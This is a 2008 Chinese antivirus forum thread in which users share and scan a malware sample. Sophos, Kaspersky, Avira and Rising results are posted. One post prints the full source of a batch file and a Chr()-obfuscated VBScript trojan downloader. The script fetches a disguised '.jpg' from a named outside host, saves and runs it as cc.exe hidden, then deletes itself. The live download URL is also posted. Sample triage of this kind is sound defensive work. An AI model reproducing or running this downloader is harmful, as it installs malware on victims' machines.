bai.vbs 过红伞

显示全部楼层 · 发表于 2008-6-20 10:37:40

今天闲的没事，用卡卡上网助手查出来的，可疑文件打包了，位置在c:/windows/help下
只是在打开bai.vbs 时红伞WEBguard提示有拦截，之后生成cc.exe

PS：上网搜了一下，发现SYSTEM32里还有一组cc1.exe cc.exe 估计是衍生物

[ 本帖最后由 foreverhyx 于 2008-6-20 10:55 编辑 ]

显示全部楼层 · 发表于 2008-6-20 10:41:09

SOPHOS MISS

显示全部楼层 · 发表于 2008-6-20 10:47:10

25052707    help.dll    73 Byte    UNDER ANALYSIS
25052708    bai.VBS    924 Byte    UNDER ANALYSIS
25052709    bai.BAT    305 Byte    UNDER ANALYSIS
25052710    cc.exe    2.07 KB    UNDER ANALYSIS

The file 'cc1.exe' has been determined to be 'KNOWN CLEAN'. In particular this means that we could not find any malicious content. Please note that the file is part of '0 byte'.

[ 本帖最后由无尽藏海于 2008-6-20 11:00 编辑 ]

显示全部楼层 · 发表于 2008-6-20 10:50:57

C:\Documents and Settings\Administrator\桌面\bai.rar > RAR > bai.VBS - VBS/TrojanDownloader.Small.L 特洛伊木马

显示全部楼层 · 发表于 2008-6-20 10:57:09

bai.bat:

del cc.exe
ftp.exe -s:C:\WINDOWS\help\help.dll
if not exist cc.exe sfd -s:C:\WINDOWS\help\help.dll
if not exist cc.exe sft -s:C:\WINDOWS\help\help.dll
cc.exe
cc.exe
cc1.exe
cc1.exe
if not exist cc.exe C:\WINDOWS\help\bai.VBS
:end
del C:\WINDOWS\help\help.dll
del C:\WINDOWS\help\bai.BAT
exit

bai.vbs:

on error resume next
set oshell = wscript.createobject (Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(115)+Chr(104)+Chr(101)+Chr(108)+Chr(108))
Set xPost = CreateObject(Chr(77)+Chr(105)+Chr(99)+Chr(114)+Chr(111)+Chr(115)+Chr(111)+Chr(102)+Chr(116)+Chr(46)+Chr(88)+Chr(77)+Chr(76)+Chr(72)+Chr(84)+Chr(84)+Chr(80))
xPost.Open Chr(71)+Chr(69)+Chr(84),Chr(104)+Chr(116)+Chr(116)+Chr(112)+Chr(58)+Chr(47)+Chr(47)+"www.chinaing.org.cn/rc/zj/gx"+Chr(46)+Chr(106)+Chr(112)+Chr(103),Chr(48)
xPost.Send()
Set sGet = CreateObject(Chr(65)+Chr(68)+Chr(79)+Chr(68)+Chr(66)+Chr(46)+Chr(83)+Chr(116)+Chr(114)+Chr(101)+Chr(97)+Chr(109))
sGet.Mode = Chr(51)
sGet.Type = Chr(49)
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "cc"+Chr(46)+Chr(101)+Chr(120)+Chr(101),Chr(50)
oshell.RUN "cc"+Chr(46)+Chr(101)+Chr(120)+Chr(101),vbhide
oshell.RUN "cmd.exe /c del C:\WINDOWS\help\bai.VBS",vbhide

显示全部楼层 · 发表于 2008-6-20 11:00:15

VBS的作用是？

显示全部楼层 · 发表于 2008-6-20 11:01:49

在尝试检索 URL 时:

http://bbs.kafan.cn/attachment.php?aid=
290678&k=ea7a81d1e10e73b9fb7b1a978e1339c
2&t=1213930856

遇到了下列错误:

所请求的对象已被感染了下列病毒: Trojan-Downloader.VBS.Agent.lg

如果您认为这是不正确的,请联系您的服务提供商。
生成于:
Fri Jun 20 11:01:27 2008
Kaspersky Internet Security 2009

显示全部楼层 · 发表于 2008-6-20 13:00:44

http://www.chinaing.org.cn/rc/zj/gx.jpg

显示全部楼层 · 发表于 2008-6-20 13:03:01

已上传卡巴分析

显示全部楼层 · 发表于 2008-6-20 14:27:30

瑞星病毒查杀结果报告

清除病毒种类列表：
病毒： Trojan.DL.Script.VBS.Drun.a

用户来源：互联网

软件版本：20.49.40

[病毒样本] bai.vbs 过红伞

本帖子中包含更多资源

回复 1楼 foreverhyx 的帖子